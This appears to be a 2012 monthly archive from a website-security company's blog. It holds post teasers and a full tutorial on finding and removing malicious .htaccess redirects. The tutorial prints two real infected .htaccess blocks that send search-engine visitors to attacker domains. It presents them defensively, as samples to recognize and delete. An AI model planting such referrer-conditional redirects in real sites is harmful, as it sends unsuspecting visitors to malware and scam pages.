Archives for July 2012

Blackmuscats Conditional Redirections to Fake AntiVirus

We are seeing many sites today compromised with the Blackmuscats conditional redirection. This malware causes anyone visiting the hacked site to be redirected to a Fake AV (AntiVirus). Why Blackmuscats? All the compromised sites have .htaccess redirections pointing to files ending in “blackmuscats?5”.

So far we have detected more than 8,000 sites with this type of redirection and the number is growing (last night we had only found a few hundred).

Note: this is a conditional redirection, so you are only sent to the malware site if you are coming from a search engine, not if you visit the site directly.

Here are some of the domains being used as part of this malware campaign:

Read More

WordPress and Server Hardening – Taking Security to Another Level

The biggest problem today with most content management systems (CMS) and web applications is the adoption of what we call the “Win95 security model”. Do you remember the Windows 95 security model? With everything running under the admin role? No separation of privileges? No separation of processes? One vulnerability and you take it all?

Confused as to how this relates to today’s CMS’s (including WordPress, Joomla, and others)? Let us explain using WordPress as an example (most popular CMS out there):

Read More

Website Malware Removal – Website Redirection

This post was put together in collaboration with one of our Support Engineers, Bruno Borges. Be sure to take a minute and say thanks for the info, he loves twitter (when its up).


It seems every day we’re combating malicious redirections. Often, they are simple, but everyday they are evolving, and in some instances become more challenging to detect.

What is perhaps the most frustrating is figuring out which vector is being exploited. It’d be easy to say it’s out-of-date software, but there are so many variations it’s difficult to say. What we can do is provide you some advise if you’re suffering from such a redirection.

What’s important to note about redirections is that they are often generated from your .htaccess file. That being said, they can be obfuscated, encoded, and embedded across a number of your core files. In more serious cases they could be getting generated from a payload in your database as well.

Either way, they are extremely annoying and can cause you to get blacklisted by Google quicker than you can say “Supercalifragilisticexpialidocious.”

Identifying the Infection


Identifying the infection is often easy.

The minute you get a complaint from a user, the first thing you want to do is open up your handy dandy FTP client or terminal, and navigate to the directory that houses your website.

If in terminal be sure to run it so that you see all the files in the directory:

# ls -la ~/public_html/somesite.com

This is important as the a option will make sure you see all the files in the directory. That “.” will often cause the file to be shown as hidden and htaccess files are prefixed with the “.” as a prefix. Funny how that works.

Note: If you’re working Filezilla or another FTP client, be sure you have enabled it such that the client see all hidden files. In Filezilla you do this by clicking on Server in the Menu options and selecting Force showing hidden files (see image below).

Once you see the file, it’s just a matter of opening it to see what might be going on.

Here are samples of things you might see if your site is being redirected:

#c3284d#
<IfModule mod_rewrite.c&>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|
allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|
aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|
botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil.(.*)
RewriteRule ^(.*)$ http://mytresca.com/counter.php [R=301,L]
</IfModule&>
#/c3284d#

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*(msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo).*$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*cookie-visited-name.*$ [NC]
RewriteRule .* http://sweepstakesandcontestsnow.com/nl-in.php?d=1 [CO=cookie-visited-name:1:%{HTTP_HOST}:10000,R,L]
</IfModule>

In both these instances you should pay special attention to a things:

First, is the use of the following directive:

RewriteCond %{HTTP_REFERER}

This bad boy is telling the server to respond based on the referrers it identifies. So, in this case, the first version was saying send the user to the bad site if it comes from any of these:

(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|
alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|
atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|
brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|
clickz|clush|confex|cyber-content|daffodil.

The second one was saying, if it comes from any of these send them to the other bad site:

msn|live|altavista|excite|ask|aol|google|mail|bing|yahoo

Second, the RewriteRule directive tells the server where to send the client if their referrer does meet the criteria:

The first scenario sends the user here:

http://mytresca.com/counter.php

and the second sends them here:

http://sweepstakesandcontestsnow.com/nl-in.php?d=1

Understand that it doesn’t have to be one for one with what I’ve provided here, but in more instances than not, a redirect is often coming from an infected .htaccess file. And if it is, you’re likely to see two directives being used:

RewirteCond %(HTTP_REFERER)

and

RewriteRule.

You don’t have to be a developer to know something is up if you see both those being used in unison. It’s not always the case though, so don’t go removing things just because. A good sign is usually if you see the RewriteRule pointing to site other than your own, such as the case above.

Get Rid Of It


Before you go crazy on your file, create a backup, last thing any one wants is for you to delete or leave unnecessary characters and crash your site. Next thing we know all hell is breaking loose because your site is down.

In terminal, creating a backup, it’s easy:

# cp .htacess .htaccess.myawesomebackup

If you’re in some kind of file explorer, copy and paste often does the trick.

Fortunately, doing away with the infection is easier than slapping butter on a piece bread. You want to highlight the mess and push down on that awesome delete button. BOOM, it’s gone. Don’t forget to hit save though.

If you’re doing this in Filezilla, don’t forget to hit the button that commits your change, this is often triggered after you hit the save button. Don’t do what many do and delete the infection, refresh the browser, but forget to commit the change to the server. You’re bound to find yourself chasing your own tail.

You do want to be careful though, depending on your server, leaving unnecessary spaces or characters could cause your entire site to go down. To avoid this, it’s often best to delete everything between:

<IfModule mod_rewrite.c>

and

</IfModule>

and leave those directives in place. If you’re one of those fanatics about your code looking tip top, then go ahead and remove it. This approach can obviously be argued two ways from Sunday, but the point is, get rid of the junk. It’s your prerogative on how you decide to maintain your code.

A few tidbits to take home with you:


Many reading this might argue that this is only removing the infection, not the cause, they’d be right. Redirections can be complex animals, here are a couple of things to keep in mind:

  • Web redirects are not always this simple, there are instances that whatever created the infection has actually duplicated the infection by creating a .htaccess in every one of your directories
  • Depending on your host and the payload, you might find that you clear all the .htaccess file infections but the site is still redirecting. In these instances, it’s best to look outside the web directory. GoDaddy installs are notorious for this.
  • This has only covered what to do if you suspect you are infected. It doesn’t talk to the cause of the infection, nor does it address reinfection issues.
  • If you suspect you are infected you can always use our free scanner SiteCheck to help narrow down the issue
  • If clearing all your .htaccess files doesn’t clear the issue then you’re likely dealing with encoded redirection and engaging professional help is in your interest

If you have any questions or you blow up your site just let us know at info@sucuri.net.

Backdoor Tool Kit – Today’s Scary Web Malware Reality

We often talk about the importance of keeping your server clean. You can see it in a number of our articles and presentations, this post will likely drive that point home.

This past week we came across a nice little package that we felt compelled to share with you. In it, the attacker makes use of a number of tools designed to help them infiltrate your environment. What’s likely most annoying about this kit is that it’s loaded into your environment, and uses your own resources to help hack you. That’s like being punched in the gut and slapped at the same time, not cool.

Read More

Pharma Hack Backdoor Analyzed – PHP5.PHP

Some of you might remember my last Pharma hack post, Intelligent (Pharma) SPAM Decoded, today I will spend some time looking a different variant of the same infection type but focus on a payload that is not encoded or embedded within an existing file, instead it resides in its own file – PHP5.php.

“Hmm, maybe it’s a good / system file, it does have PHP in it, I won’t bother looking at it…”

If you have ever come across this file and find yourself thinking this, we highly encourage you not to and take a minute to see if any of its components resemble what we’re about to share.

Dissecting the Payload


Read More

Sucuri is Hiring: Senior PHP Developer

It’s that time again. We’re actively looking for a Senior PHP Developer to join the family. If you are passionate about web-based malware, and you want to help build awesomess, we want to hear from you.

Details can be found here Sucuri employment.

Fake jQuery Website Serving Redirection Malware

This just in, hot off the press, careful with the jQuery libraries you’re using on your websites.

We received word from @chris_olbekson via Twitter about some hacks being reported on the WordPress forums:

chris_olbekson

Read More

Sneaky vBulletin Script Injections

In the past few days/weeks we have been seeing some nasty vBulletin infections that are proving difficult to find. In this post we’ll describe it and what we have done to remove it.

We recently wrote about Conditional Malware, this is but another instance of that. In this instance, the conditions are set around specific referrers and user-agents.

When a user visits the forum via Google search engine result pages (SERP), they are greeted with this payload:

Read More

Website Malware Removal – WordPress Tips & Tricks

WordPress Malware Removal Tips

We often write posts that give you advice and recommendations about how to harden your websites, and have only recently begun to give advice on ways to navigate your back-end and remove infections via terminal. But what about all the basics?

That’s what I want to cover in this post. All those things that you should know when trying to remove web malware from your site. Alternatively, if you’re already hacked, you can enlist our help to clean your website regardless of CMS.
Read More

New Web Malware Attacks Using .Ru/In.CGI?16

What does an orange roller, a purple beetle, an orange moth, a green pillar, and a green cricket have in common? Not much, but they are all being used as malware domains to distribute .Ru/In.CGI?16 which is affecting thousands of web sites lately.


Read More